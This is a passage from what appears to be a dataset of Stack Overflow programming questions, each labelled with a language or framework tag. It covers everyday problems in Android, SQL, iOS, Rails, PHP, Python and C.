that is above works fine but timeline.addtimelineevent  which is virtually identical  reports an error. any advice     i added all code for better view :    <a href= http://plnkr.co/edit/2iupb5urfsrbctt6e2xf p=preview  rel= nofollow noreferrer >full code</a>    the timeline function is located at the end of the app file,angularjs
how to lazy load device gallery images   i want to lazy load the device gallery images in to my application. becoz when there is a hundred s of images then device taking time to load the images.    thanks  ram.,android
android list view custom adapter with checkbox multiple selection and search listview  i have implemented the <code>listview</code> with custom adopter class and multiple check box selection . its working fine . after that i have given search the name in <em>listview</em>. if i checked row item then i search the name in search   search positioned was changed .  kindly help me to fix this.    <strong>model class</strong>   <pre><code>    public class fulluser {     string name=null;     string id=null;     boolean checked;     public fulluser(string name  string id boolean checked){         this.name=name;         this.id = id;         this.checked = checked;      }     public string getname(){         return this.name;     }     public void setname(string name){         this.name = name;     }     public string getid(){         return this.id;     }     public void setid(string id){         this.id = id;     }      public boolean getchecked(){         return this.checked;     }     public void setchecked(boolean checked){         this.checked = checked;     }      @override     public string tostring() {         return  this.name;      } } </code></pre>   <strong>adapter class</strong>   <pre><code>    public class fulluseradapter extends arrayadapter&lt;fulluser&gt; {     private arraylist&lt;fulluser&gt; originallist;     private arraylist&lt;fulluser&gt; fullusers;     private subjectfilter filter;       public fulluseradapter(context context  int resource  arraylist&lt;fulluser&gt; fullusers) {         super(context  resource  fullusers);         this.fullusers = new arraylist&lt;fulluser&gt;();         this.fullusers.addall(fullusers);         this.originallist = new arraylist&lt;fulluser&gt;();         this.originallist.addall(fullusers);      }       @override     public int getcount() {         return fullusers.size();     }      @override     public fulluser getitem(int position) {         return fullusers.get(position);     }      @override     public long getitemid(int position) {         return position;     }      @override     public filter getfilter() {         if (filter == null){             filter  = new subjectfilter();         }         return filter;     }     @override     public view getview(final int position  view convertview  viewgroup parent) {          viewholder holder = null;         log.v( userconvertview   string.valueof(position));          view row;         if (convertview == null) {             row = layoutinflater.from(getcontext()).inflate(r.layout.list_row_with_checkbox  parent  false);         }else{             row = convertview;         }         holder = new viewholder();         holder.name_view = (textview) row.findviewbyid(r.id.nametext);         holder.firstchar_view = (textview) row.findviewbyid(r.id.first_char);         holder.groupid = (textview) row.findviewbyid(r.id.rowid);         holder.checkbox =(checkbox) row.findviewbyid(r.id.cbbox);          final fulluser group =getitem(position);         holder.groupid.settext(group.getid());          //holder.checkbox.setchecked(checkedholder[position]);          string communityname_text = group.getname();         holder.name_view.settext(group.getname());         string firstchar = communityname_text.substring(0  1);         holder.firstchar_view.settext(firstchar);            holder.checkbox.setoncheckedchangelistener(new compoundbutton.oncheckedchangelistener() {             @override             public void oncheckedchanged(compoundbutton buttonview  boolean ischecked) {                  if(ischecked == true)                 group.setchecked(true);                 else                     group.setchecked(false);              }         });           row.settag(holder);          return row;     }        private class subjectfilter extends filter     {          @override         protected filterresults performfiltering(charsequence constraint) {             filterresults result = new filterresults();             if(constraint != null &amp;&amp; constraint.tostring().length() &gt; 0)             {                 constraint = constraint.tostring().tolowercase();                 arraylist&lt;fulluser&gt; filtereditems = new arraylist&lt;fulluser&gt;();                  for(int i = 0  l = fullusers.size(); i &lt; l; i++)                 {                     fulluser group = fullusers.get(i);                     if(group.tostring().tolowercase().contains(constraint)) {                         fulluser grouplistss = new fulluser(group.getname() group.id group.getchecked());                         filtereditems.add(grouplistss);                      }                 }                 result.count = filtereditems.size();                 result.values = filtereditems;             }             else             {                 synchronized(this)                 {                     result.values = originallist;                     result.count = originallist.size();                 }             }             return result;         }          @suppresswarnings( unchecked )         @override         protected void publishresults(charsequence constraint filter.filterresults results) {              if(results.count &gt; 0) {                 fullusers = (arraylist&lt;fulluser&gt;)results.values;                 notifydatasetchanged();                 clear();                 for(int i = 0  l = fullusers.size(); i &lt; l; i++)                     add(fullusers.get(i));              } else {                 notifydatasetinvalidated();             }         }     }      private class viewholder {         textview name_view;         textview firstchar_view;         textview groupid;         checkbox checkbox;     } } </code></pre>   thanks in advance.,android
link with correct href still gives 404  i m having a bit of trouble figuring out why a link in one of my sites is broken. it gives a 404 even though the href is correct and the page exists.    the site is: <a href= http://www.theawesomecleaners.com/  rel= nofollow >http://www.theawesomecleaners.com/</a>    and the link is the big beige lettering  dfw areas  just below the menu. here s the exact code for it:   <pre><code>  &lt;h2&gt;serving &lt;a href= http://www.theawesomecleaners.com/dfw-cleaners‎ &gt;dfw areas&lt;/a&gt; 24/7 year around&lt;/h2&gt; </code></pre>   after you see the 404  then visit the page from the url bar or search  our location  in the site  and you ll find the page right there.    what could be the problem ! i ve tried excluding  www   adding  / at the end  and using a relative path. none of them worked. i am really stumped. please help!    thanks in advance,html
write filename using sstream and fstream in c++  in my c++ program  i am saving output data in a file using sprintf and fstream just like below   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt;  char outname[50]; int n = 100; sprintf(outname   output_%s_%d.dat    file   n);  ofstream fout;     fout.open(outname); </code></pre>   how could i get a filename using std::sstring instead of sprintf and open that file with std::ofstream   in above code filename is outname  which is being opened with std::ofstream.,c++
need to find source_location of class method  i have a model with a class method.    like:   <pre><code>class school &lt; activerecord::base    def self.mymethod    end    def instance_something    end end </code></pre>   how can i find the source_location of a class method in ruby      if i want the source location of  instance_something  i do   <pre><code>school.new.method(:instance_something).source_location </code></pre>   but i can t do that with class method.    any help,ruby-on-rails
jquery in ie can t get the whole html tag and contents  i have content with <code>&lt;ticker&gt;</code> tags that i want to inject ticker symbols in. the ticker tags in html look like:   <pre><code>&lt;ticker symbol= aapl &gt;apple&lt;/ticker&gt; </code></pre>   the expected result is...   <pre><code>apple (aapl) </code></pre>   so i have jquery code like so...   <pre><code>jquery.each($( ticker )  function() {     $(this).replacewith($(this).text()+  ( +$(this).attr( symbol )+ ) );  }); </code></pre>   this works fine in firefox and chrome  but in ie i get this:   <pre><code> (aapl)apple&lt;/ticker&gt; </code></pre>   so when ie grabs a <code>$( ticker )</code> element it s only taking the <code>&lt;ticker symbol= aapl &gt;</code> tag  not the whole element  and replacing it with the string. does anyone know what will work for all browsers,jquery
getting jscript error with bing search box  i am trying to use a bing search box on my website. i have just pasted the html code supplied by the bing website and when i run my .aspx  i getting this error in .js file from which i am given the option to break  continue or ignore.    the error is  microsoft jscript runtime error: object expected . i just had put up this file in my source.    <pre><code>&lt;meta name= search.wlsearchbox  content= 1.1  en-in  /&gt; &lt;div id= wlsearchboxdiv  style= float:right &gt; &lt;table cellpadding= 0  cellspacing= 0  style= width:180px; height:28px; &gt;&lt;tr id= wlsearchboxplaceholder &gt;&lt;td style= width:100%; border:solid 1px #cccccc; border-right-style:none; padding-left:10px; padding-right:10px; vertical-align:middle; &gt;&lt;input id= wlsearchboxinput  type= text  value= &amp;#x4c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x2e;&amp;#x2e;&amp;#x2e;  disabled= disabled  style= background-image:url(http://www.bing.com/siteowner/s/siteowner/searchbox_background_k.png); background-position:right; background-repeat:no-repeat; font-family:arial; font-size:14px; color:#000000; width:100%; border:none 0 transparent; /&gt;&lt;/td&gt;&lt;td style= border:solid 1px #cccccc; border-left-style:none; padding-left:0px; padding-right:3px; &gt;&lt;input id= wlsearchboxbutton  type= image  src= http://www.bing.com/siteowner/s/siteowner/searchbutton_normal_k.gif  style= border:none 0 transparent; height:24px; width:24px; vertical-align:top; /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;     &lt;script type= text/javascript  charset= utf-8 &gt;         var wlsearchboxconfiguration =     {          global : {              serverdns :  www.bing.com                market :  en-us          }           appearance : {              autohidetopcontrol : false               width : 600               height : 400               theme :  green          }           scopes : [             {                  type :  web                    caption :  &amp;#x57;&amp;#x65;&amp;#x62;&amp;#x41;&amp;#x73;&amp;#x73;&amp;#x69;&amp;#x73;&amp;#x74;                    searchparam :  site:www.webassist.in              }                           {                  type :  web                    caption :  &amp;#x57;&amp;#x65;&amp;#x62;                    searchparam :                }         ]     }     &lt;/script&gt;     &lt;script type= text/javascript  charset= utf-8  src= http://www.bing.com/bootstrap.js market=en-us&amp;servid=searchbox&amp;servid=searchboxweb&amp;callback=wlsearchboxscriptready &gt;&lt;/script&gt; </code></pre>   the error is i think in this last script file named ^transientscriptdocument167.js,asp.net
php: color mixing  this will be a very stupid question but i m a newbie in programming and i just can t figure it out. what i want to do is make a color mixer in php. user can specify rgb values and then color should appear.     i have this:   <pre><code>&lt;html&gt;    &lt;head&gt;     &lt;title&gt;       rgb     &lt;/title&gt;     &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt;   &lt;/head&gt;    &lt;body&gt;     &lt;form method= get &gt;       &lt;center&gt;         &lt;h3&gt;           rgb         &lt;/h3&gt;       &lt;/center&gt;       &lt;br&gt;       &lt;h5&gt;         red       &lt;/h5&gt;        &lt;input type= range  name= red  min= 0  max= 255 &gt;       &lt;h5&gt;         green       &lt;/h5&gt;        &lt;input type= range  name= green  min= 0  max= 255 &gt;       &lt;h5&gt;         blue       &lt;/h5&gt;        &lt;input type= range  name= blue  min= 0  max= 255 &gt;       &lt;br&gt;       &lt;input type= submit  value= submit &gt;       &lt;br&gt;       &lt;br&gt;       &lt; php $red=$ _get[  red ]; $green=$ _get[  blue ]; $blue=$ _get[  green ]; function rgb2hex($red $blue $green) { return  #  . sprintf(  %02x   $red) . sprintf(  %02x   $blue) . sprintf(  %02x   $green); } rgb2hex($red $blue $green);  &gt;     &lt;/form&gt;   &lt;/body&gt;  &lt;/html&gt; </code></pre>   but i keep getting info about undefined indexes and i don t know how to fix it.,php
hiding code for specific browser  if i have a simple piece of code for example    <code>&lt;div&gt; test div &lt;/div&gt;</code>    i was wondering how (using css) i could make this div appear only for users of a certain browser.    for example  what if i want to build a  chrome only feature   like an image or a div  how do i specify not to show up in firefox and ie,css
sql - how to join indvidual cells from multiple rows into single row   i have two tables. one with properties and one with buildings. each property is associated with 0 to theoretically infinite amounts of buildings. right now i have a code like this:   <pre><code>select property.id  building.number from properties left join buildings on buildings.pid = property.id </code></pre>   this returns a table of all buildings with their associated property. this however means  that all properties appear as many times  as they have buildings.     what i want is a result  where each property has its buildings in the same row as it self  so it becomes a result of properties  with their buildings  and not a result of buildings  with their properties.      edit: i should probably specify  that this is a server i only have read access on.,sql
path resolution without path variable  i installed the latest jdk 1.6.0_25 on my windows 7 64-bit machine. i then tried  java -version  on the command prompt  without editing the path variable. it worked  so i assumed that the installation added the new path to the environment.     but when i looked at the path variable through the advanced system settings tab  there was no sign of  c:\program files (x86)\java\jdk1.6.0_25\bin\  or anything equivalent to it.    how is the path getting resolved,java
is it possible to nslog an objective-c selector  namely a variable of the sel type   in some legacy code (yes  this is superceded by blocks now) i have the following lines:   <pre><code>[uiwindow setanimationdelegate:self]; [uiwindow setanimationdidstopselector:@selector(animationfinished:finished:context:)]; </code></pre>   but that method - animationfinished:finished:context: - is not defined  yet the code doesn t crash. i wanted to know why  so i tried to log what @selector returns  but i don t know how.   <pre><code>nslog(@ %@   nsstringfromselector(@selector(animationfinished:finished:context:))); </code></pre>   doesn t help - it will log the string name of the selector regardless of whether that method is actually implemented or not.    you can safely pass nil to many methods  so i presumed that @selector() was returning nil here  yet the following code doesn t log anything:   <pre><code>if (@selector(animationfinished:finished:context:) == nil) {    nslog(@ sel is nil ); } </code></pre>   so it seems i have a non-nil sel type here  yet no corresponding method. is there a way to nslog() a sel type or can anyone explain what is going on here  presumably  the implementation of setanimationdidstopselector: is able to cope with a sel that has no corresponding method and just ignores it..,objective-c
ios: on  automatic tabbar switched  method  i m trying to switch tabs programmatically and ensure that on switch the respective navigation controller pops to the root view controller. is there a method that is invoked when tab bar is switched manually or programmatically     note:  <code>-(void)tabbarcontroller:didselectviewcontroller:</code> is only invoked on manual switching of the tab bars,ios
what is wrong with this sql statement using merge <pre><code>create procedure [dbo].[teststoredproc] (@startdate datetime  @enddate datetime) as begin set nocount on;  merge targettable with (tablockx) as target using (     select         s.columna  s.columnb     from         sourcetable s     where         s.modifiedon &gt;= @startdate and s.modifiedon &lt;= @enddate) as source     (columna  columnb) on (target.columna= source.columna) when matched then update set     target.columna = source.columna  target.columnb = source.columnb when not matched by target then insert     (columna  columnb) values (source.columna  source.columnb);  go </code></pre>   i get the following error when i try to compile the statement:   <blockquote>    incorrect syntax near  ; .  </blockquote>   at the very last line which is:   <pre><code>(columna  columnb) values (source.columna  source.columnb); </code></pre>,sql
clearing lru cache on all object properties  so i m using <code>@lru_cache</code> on my objects in different parts  and i m just wondering how to flush the cache on all functions on an object where @lru_cache is used  something like:   <pre><code>for i in dir(self):   if  cache_clear  in dir(i):     self.get_attr(i).cache_clear() </code></pre>   the problem is:   <ul> <li>i m not sure if this is really a very elegant way to do it</li> <li>cache_clear doesn t actually appear when i do dir() on the function which it decorates</li> </ul>   what s the best way to do this,python
first time app is launched = one view controller   and after first time another  right now i m working on an app for iphone and the problem i have is that i m not getting it correct when i m coding this: the thing that i wanna do is to have one view controller the first time user starts the application and an other the other times. i m working on an fitness application where the user first time starts the app will be directed to a view controller with map view just like in runkeeper where the user makes the first fitness test and the other times starting the application the starting view will be the usual starting view. and please  i m a beginner so if you got a problem whit that don t bother answer and don t block me from asking more questions;)    <strong>**the h-file**</strong>   <pre><code>#import &lt;uikit/uikit.h&gt;   @interface appdelegate : uiresponder &lt;uiapplicationdelegate&gt;    @property (strong  nonatomic)  uiwindow *window;    @end </code></pre>   <strong>the m-file</strong>   <pre><code>#import  appdelegate.h  #import  walkingtableviewcontroller.h    @implementation appdelegate   - (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary   *)launchoptions {     self.window = [[uiwindow alloc] initwithframe:[[uiscreen mainscreen] bounds]];     if ([[nsuserdefaults standarduserdefaults] boolforkey:@ haslaunched ]) {         self.window.rootviewcontroller = [[walkingtableviewcontroller alloc] init];     } else {         [[nsuserdefaults standarduserdefaults] setbool:yes forkey:@ haslaunched ];         [[nsuserdefaults standarduserdefaults] synchronize];         self.window.rootviewcontroller = [[uitableviewcontroller alloc] init];     }     [self.window makekeyandvisible];     return yes; }   @end </code></pre>   when i m launching the app in simulator or on my phone i m only getting a black view  and don t now how to set the view controllers correct. and the walkingtableviewcontroller is where i got my mapview     heres the code in my walkingtableviewcontroller implementation   <pre><code>#import &lt;uikit/uikit.h&gt; #import &lt;mapkit/mapkit.h&gt; #import &lt;corelocation/corelocation.h&gt;  @interface walkingtableviewcontroller: uiviewcontroller &lt;mkmapviewdelegate&gt;   @property (weak  nonatomic) iboutlet mkmapview *mkmapview;    @end </code></pre>,ios
rails controller method to save model and close popup window  i have a web app that allows users to edit model data via a popup window. when the popup window form is completed  the user clicks a  save  button  the window closes  and the original page reloads to show any updates that happened to the data.    my technique only works sometimes. i can t for the life of me figure out why it works one time and why it doesn t another.    in my popup window s form  i have this as the submit method:   <pre><code>&lt;%= submit_tag( update invoice   {:onclick=&gt; refreshparent() }) %&gt; </code></pre>   so the javascript is executed ideally at the same time that the form is submitted to the controller. here s the refreshparent() javascript function:   <pre><code>function refreshparent(id) {     window.opener.location.reload();     window.close(); } </code></pre>   now  the method called by my form ( update  in this case) doesn t have a redirect_to method call  but even when i do (say  to the original view  index) it doesn t seem to matter.    at root  it seems that my controller method doesn t fire on form submit. sometimes. i can submit the same form data multiple times  and it ll work the third time. or sometimes it works right away. it s totally random.    what can i do to ensure that my controller methods fire when you close a popup window     thanks  aaron.,ruby-on-rails
create a trigger in mysql  i want to create a trigger on one of the table  lets say assetdatatable in which the values gets populated via a windows service  so basically i want to do is    <pre><code>select * from assetdatatable where assetid = 105 order by 1 desc; </code></pre>   i get this one row back  now if any of the column value is zero  it should update in another statustable   <pre><code>assetid   column1  column2  column3  column4  column5  105      18.8      19.9     13.0     18.7     0 </code></pre>   now in my statustable  the row should become    <pre><code>       assetid  status           105     0 </code></pre>   i really don t have any clue how to do  any ideas,mysql
python: crashingpython explanation  i have a code in python that makes the python interpreter crash randomly. i have tried to isolate the source of the problem  but i am still investigating. while searching on the net for  problems that could make the interpreter crash  i stumble upon this:   <pre><code>def crash():        \     crash the python interpreter...             i = ctypes.c_char( a )     j = ctypes.pointer(i)     c = 0     while true:             j[c] =  a              c += 1     j </code></pre>   <a href= http://wiki.python.org/moin/crashingpython  rel= nofollow >http://wiki.python.org/moin/crashingpython</a>    since i am using ctypes  i think that the problem could be related to the way the ctypes is used. so i am trying to understand why that code could make python interpreter crash. understanding it would help investigate my problem in my ctypes code.     can anybody explain this     help would be appreciate.,python
can t return static array  probably a very simple question but i couldn t figure out the reason. all the given code is in the same file.    this is the definition of one of the arrays. it is defined outside of every method.   <pre><code>unsigned char key_40_compare_values[] = { 85 102  119 134  147 158  165 169  169 165  158 147  134 119  102 85  67 50  35 22  11 4  0 0  4 11  22 35  50 67 }; </code></pre>   this is the code:   <pre><code>unsigned char * getcomparevaluesforindex(char index) {     if (index == 0)     {         return key_28_compare_values;     }      if (index == 1)     {         return key_30_compare_values;     }      if (index == 2)     {         return key_32_compare_values;     }      if (index == 3)     {         return key_33_compare_values;     }      if (index == 4)     {         return key_35_compare_values;     }      if (index == 5)     {         return key_37_compare_values;     }      if (index == 6)     {         return key_39_compare_values;     }      else     {         return key_40_compare_values;     } } </code></pre>   this is the compilation error i get:   <pre><code>conflicting types for  getcomparevaluesforindex  </code></pre>,c
how to show alert message in an android app  i am trying to show an alert message.  but when i click the specific button to show the alert message the app stops unfortunately.    my code for alert message is here...   <pre><code>search.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view view) {              cursor res = mydb.getalldata();             if (res.getcount() == 0) {                 showmessage( error    nothing found );                 return;             }              stringbuffer buffer = new stringbuffer();             while (res.movetonext()) {                 buffer.append( email:   + res.getstring(0) +  \n );                 buffer.append( full_name :   + res.getstring(1) +  \n );                 buffer.append( district :   + res.getstring(2) +  \n );                 buffer.append( phone_num :   + res.getstring(3) +  \n );              }             showmessage( data   buffer.tostring());         }        }); }  public void showmessage(string title  string message) {     alertdialog.builder builder = new alertdialog.builder(this);     builder.setcancelable(true);     builder.settitle(title);     builder.setmessage(message);     builder.show();  } </code></pre>,android
mysql result not performing after query is run   hi i have two query s here that run as part of a registration form  upon the user registering information is split into two tables  ptb_users and ptb_stats.    both query s are working ok. however both tables have an auto increment column  in ptb_users the column user_id is set to auto increment  and at the end of the query the user_id value is set to update/copy into ptb_users.id so that the user_id and id match.     but in ptb_stats id is the auto increment column and again i have asked it to update/copy the value from id to user_id within the ptb_stats table.    i am doing this by using this code:   <pre><code>$result = mysql_query( update ptb_users set ptb_users.user_id=ptb_users.id );  $result2 = mysql_query( update ptb_users set ptb_stats.id=ptb_stats.user_id ); </code></pre>   now for some reason this works on the first query ($result) where i am asking it to update ptb_users.user_id=ptb_users.id but it doesnt work on ($result 2) is there any reason why this is the case    <pre><code>$query= insert into ptb_users (user_id  id  first_name  last_name  email ) values( null    null     .$firstname.      .$lastname.      .$email.   ) ; mysql_query($query) or dieerr(); $result = mysql_query( update ptb_users set ptb_users.user_id=ptb_users.id );   $query= insert into ptb_stats (id  user_id  display_name ) values( null    null     .$username.   ) ; mysql_query($query) or dieerr(); $result2 = mysql_query( update ptb_stats set ptb_stats.id=ptb_stats.user_id ); </code></pre>,mysql
how to find headers included inside a namespace   i found a header included inside a namespace in the project i am working in. i want to scan the whole source base to find if this possible mistake was repeated in another file or not.    is there a way using grep for example to do that,c++
why is my instance variable behaving like a static/class/global variable in objective c   i have defined a class in objective c and one of its instance variables is acting like a static variable / class variable / global variable.  what i mean is when i create a second instance of the class  the instance variable is already initialized and when i change the variable in the second instance  the first instance also changes  as if the variable is not really an instance variable.    here s my code:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface myobject : nsobject - (int)getvalue; - (void)setvalue:(int)avalue; @end  @implementation myobject   int _value;  - (int)getvalue {     return _value; }  - (void)setvalue:(int)avalue {     _value = avalue; }  @end  int main (int argc  const char * argv[]) {     nsautoreleasepool *pool = [[nsautoreleasepool alloc] init];      myobject *myobject1 = [myobject new];     printf( myobject1 value before assignment: %d\n   [myobject1 getvalue]);     [myobject1 setvalue:1];     printf( myobject1 value after assignment: %d\n   [myobject1 getvalue]);      myobject *myobject2 = [myobject new];     printf( myobject2 value before assignment: %d\n   [myobject2 getvalue]);     [myobject2 setvalue:2];     printf( myobject2 value after assignment: %d\n   [myobject2 getvalue]);      if (1 != [myobject1 getvalue]) {         printf( error: myobject1 value should be 1 after assignment of myobject2 value but is %d\n   [myobject1 getvalue]);     }      [pool drain];     return 0; } </code></pre>   here s the execution showing that that error message occurs:   <pre><code>myobject1 value before assignment: 0 myobject1 value after assignment: 1 myobject2 value before assignment: 1 myobject2 value after assignment: 2 error: myobject1 value should be 1 after assignment of myobject2 value but is 2 </code></pre>,objective-c
fixed element is overflowing  i m creating a modal.    here is the fiddle:    <a href= http://jsfiddle.net/dzzsg/  rel= nofollow >http://jsfiddle.net/dzzsg/</a>    i m fixing a header to my modal using:    <pre><code>position: fixed; </code></pre>   i have two problems.   <ol> <li> the header of the model needs to be fixed when the user scrolls down the model. but for some reason it s overflowing it s parent. why  </li> <li> underneath the header is  how can i stop this from being hidden under header   this is hidden under the fixed header  how can i push the contents down  </li> </ol>,css
how can i get the best accurate result   given:   <pre><code>unsigned int a  b  c  d; </code></pre>   i want:   <pre><code>d = a * b / c; </code></pre>   and （a *b ) may overflow; also (b/c) may equal zero and give less accuracy.    maybe a cast to 64-bits would get things to work  but i want to know the best way to get the most accurate result in d.    is there any good solution,c
convert short bits into an int  i have a tcp packet that sends a bunch of unsigned variables (they are unsigned because they are saving space and using the limits for unique ids)  i need to convert this unsigned short bit data into an integer in java.    so my question is how do i convert bytearray[0 - 15] into an int      edit:    here is the code i have changed to:   <pre><code>byteorder order = byteorder.big_endian; requesteddatetype = new biginteger(bytebuffer.allocate(2).put(data  8  2).order(order).array()).intvalue(); </code></pre>   the data buffer coming in is:   <pre><code>bit   0    1   2   3   4   5   6   7   8   9  value 40   0   0   0   8   0   0   0   1   0 </code></pre>   the data is sent as little endian. i assume since biginteger assumes big  i need to convert to that. however both big or little order give me the same value in return.    i expect to get 1 for the value of <code>requesteddatetype</code> however i am getting 256. how do i pad the two missing bytes to make sure it gives me 0000 0000 0000 0001 instead of 0000 0001 0000 0000     edit 2:    never mind. changed code to this:   <pre><code>bytebuffer bb = bytebuffer.allocate(2); bb.order(byteorder.little_endian); bb.put(data  8  2); int value = ((int)bb.getshort(0)) &amp; 0xff; </code></pre>,java
switch between multi viewcontroller s view  i have a project in which  there is root viewcontroller and multi sub viewcontrollers. in root viewcontroller i call and switch between 2 sub viewcontrollers    codes as:   <pre><code>//root view controller controller button at front of all subviewcontrollers view  [vviewcontroller2.view removefromsuperview]; [self.view insertsubview:vviewcontroller1.view atindex:0]; </code></pre>   in this mode the sub view/viewcontroller in the memory will be unload  when it is loaded later  it will prompt the event of viewdidload.    but i prefer to after the sub viewcontroller is loaded and when switch  it stores in memory rather than unload from memory.    if did as this  i have to increate the value of atindex.    when i try to return to the sub viewcontroller with low value of atindex  i do not knwo how to do.    welcome any comment    thanks interdev,iphone
errors when trying to add ref to an overloaded method s parameter  why do i get the following to errors when i try to add <code>ref</code> to an overloaded method s parameter    <blockquote>    the best overloaded method match for    windowsformsapplication1.form1.searchproducts(int)  has some invalid   arguments        argument 1: cannot convert from  ref   system.collections.generic.list  to  int   </blockquote>   here s some (simplified) code:   <pre><code>public virtual ilist&lt;int&gt; searchproducts(int categoryid) {     list&lt;int&gt; categoryids = new list&lt;int&gt;();     if (categoryid &gt; 0)         categoryids.add(categoryid);     return searchproducts(ref categoryids); }  public virtual ilist&lt;int&gt; searchproducts(ref ilist&lt;int&gt; categoryids) {     return new list&lt;int&gt;(); } </code></pre>   <strong>edit:</strong>    some of you asked me why i need <code>ref</code> in this case and the answer is that i probably don t need it  because i can clear the list and add new elements (i don t need to create a new reference). but the question is not about the fact that i need or don t need <code>ref</code>  it s about why i got the errors. and since i didn t find an answer (after googling for little while) i thought the question was interesting and worth asking here. it seems that some of you don t think it s a good question and voted to close it down ...,c#
counting presence of discount ranges in sql  i have a simple orders table for a product being sold that has a column with the discount per order.  for example:   <pre><code>order number   discountprcnt 1234           0 1235           10 1236           41 </code></pre>   what i would like to do is create an output where i can join the order table to a customer table and group the discounts into ranges by email  as follows:   <pre><code>email_address   0-20  20-50  50-100 joe@abc.com           yes    yes tom@abc.com     yes   yes </code></pre>   so the idea is to determine if each customer (here designated by email) has ever received a discount in the specified range  and if not  it should return null for the range.    a simplified version of the table structure is:   <pre><code>customer table:  custid   email 123      joe@abc.com 234      tom@abc.com 456      joe@abc.com </code></pre>   so emails can repeat across customers.   <pre><code>orders table: custid   orderid   amount   discprcnt 123      1234      50.00    0 234      1235      75.00    10 456      1236      20.00    41 </code></pre>,sql
how to rotate my view-based app to the new interface orientation   i have a simple view-based app from that template. it has nothing else in there  only one uibutton.    when the device rotates  i want that button to be re-layoutet in such a way that it fits the width of the screen automatically. it has a margin of 20 points left and right  which should always remain the same.,iphone
loaded  always returns true for belongs_to associations   i have some geography related classed defined as follows:   <pre><code>class location &lt; activerecord::base end  class state &lt; location   has_many :geographies   has_many :cities   has_many :counties end  class county &lt; location   belongs_to :state   has_many :geographies   has_many :cities  :through =&gt; :geographies  :uniq =&gt; true end      class city &lt; location   belongs_to :state   has_many :geographies   has_many :counties  :through =&gt; :geographies  :uniq =&gt; true end  class geography &lt; activerecord::base   belongs_to :state   belongs_to :city   belongs_to :county end </code></pre>   the following console output demonstrates the problem that i m having.   <pre><code>&gt;&gt; county.first.cities.loaded  =&gt; false &gt;&gt; county.first.state.loaded  =&gt; true </code></pre>   looking in the logs i see that when i call state.loaded  it runs a sql statement to load the state  i.e.  the state was not loaded until i  touched  it.  however  when i call cities.loaded  no sql is executed and false is returned.  this behavior seems inconsistent to me. i searched around a bit on the interwebs and couldn t find anything regarding this so i m guessing it s my mistake  though  i don t see how.      any help is much appreciated.    thanks in advance.,ruby-on-rails
trying to send mail and app crashed  i m trying to use fmailcomposeviewcontroller to send a email message. when i try to send the mail by calling presentmodalviewcontroller the app crashes.  in the emulater it crashes all time time on the device it crashes like half the time.    i do not get a error message  but app freezes and debuuger shows it going to int main(int argc  char * argv[]) {     @autoreleasepool {         return uiapplicationmain(argc  argv  nil  nsstringfromclass([appdelegate class]));     } } also apps always crashes in simulater  about half the time on iphone.    code:   <pre><code>- (ibaction)aemail:(id)sender { if([mfmailcomposeviewcontroller cansendmail]){      mfmailcomposeviewcontroller *mailctrl = [[mfmailcomposeviewcontroller alloc] init];     [mailctrl setsubject:@ your tellafortune card reading ];     [mailctrl settorecipients:[nsarray arraywithobject:@ tedpottel@yahoo.com ]];     mailctrl.mailcomposedelegate = self;      [mailctrl setmessagebody:  @ hello   ishtml: false];   // crashes on thid line     [self presentmodalviewcontroller:mailctrl animated:no];     //      [mailctrl release];  } else {     uialertview *alert=[[ uialertview alloc]                         initwithtitle:@ cannot send email                          message: @ please check internet connection and email set up                          delegate: self                         cancelbuttontitle:@ ok                          otherbuttontitles: nil];      [alert show]; }  }  /////////////////////////////////////////////////////////////////////////////////////////// // if you do not have thid methed when sending emsil  app will freez after // sent or cancel button has been pressed.  - (void)mailcomposecontroller:(mfmailcomposeviewcontroller *)controller       didfinishwithresult:(mfmailcomposeresult)result error:(nserror *)error { [self dismissmodalviewcontrolleranimated:yes]; nslog(@ email result: %@   result==mfmailcomposeresultcancelled @ cancelled :       result==mfmailcomposeresultsaved @ saved :       result==mfmailcomposeresultsent @ sent :       result==mfmailcomposeresultfailed @ failed :@ unknown ); } </code></pre>,ios
type method in javascript  i come across below statement in various js code where first a function let s say  test  is declared thereafter used as mentioned below:    type:  test     please explain what does this statement mean where  test  is a function name.    sample code below:   <pre><code>var myfavoritesajax = class.create(); myfavoritesajax.prototype = object.extendsobject(abstractajaxprocessor  {      ajaxfunction_getfavorites : function() {          var result = this.newitem( result );          result.setattribute( message    returning all favorites );          this._addfavorite( color    blue );         this._addfavorite( beer    lager );         this._addfavorite( pet    dog );      }       _addfavorite : function(name  value) {         var favs = this.newitem( favorite );         favs.setattribute( name   name);         favs.setattribute( value   value);     }       type :  myfavoritesajax   }); </code></pre>,javascript
passing parameters for sqldatasource from code behind  whats the diffrence btw this two sqldatasource1    <pre><code>&lt;selectparameters&gt;                 &lt;asp:parameter name= user   /&gt;  &lt;/selectparameters&gt;  sqldatasource1.selectparameters( user ).defaultvalue =  some value ;  sqldatasource1.selectparameters( @param  user); </code></pre>   when i use    <pre><code>sqldatasource1.selectparameters( user ).defaultvalue =  some value ; </code></pre>   it works but  <code>sqldatasource1.selectparameters( @param  user);</code> doesn t:,asp.net
index third last occurrence of the integer  1 in array  below my code. i want to find the index/position of third last occurrence of the integer 1   <pre><code>$arr = array(2  3  1  4  5  6  1  1 10 11 12 1); $result = []; foreach($arr as $key =&gt; $val){     $result[$val][] = $key; }  echo end($result[1]);// 11 but it should be 6 </code></pre>,php
cancan authlogic gem s edit current user profile error  once i added the cancan gem to my authlogic authorisation system  i started running into problems. my link_to edit current user profile died!    code:   <pre><code>#application.html.erb   &lt;%= link_to  edit profile   edit_user_path(:current) %&gt;  #applicationcontroller  private   def current_user_session     return @current_user_session if defined (@current_user_session)     @current_user_session = usersession.find   end     def current_user     return @current_user if defined (@current_user)     @current_user = current_user_session &amp;&amp; current_user_session.record   end    rescue_from cancan::accessdenied do |exception|     flash[:error] =  access denied.      redirect_to root_url   end  error:  activerecord::recordnotfound in userscontroller#edit  couldn t find user with id=current </code></pre>   i have tried many ways to get the current user id to the edit link nothing works has anyone have any ideas     regards    dan,ruby-on-rails
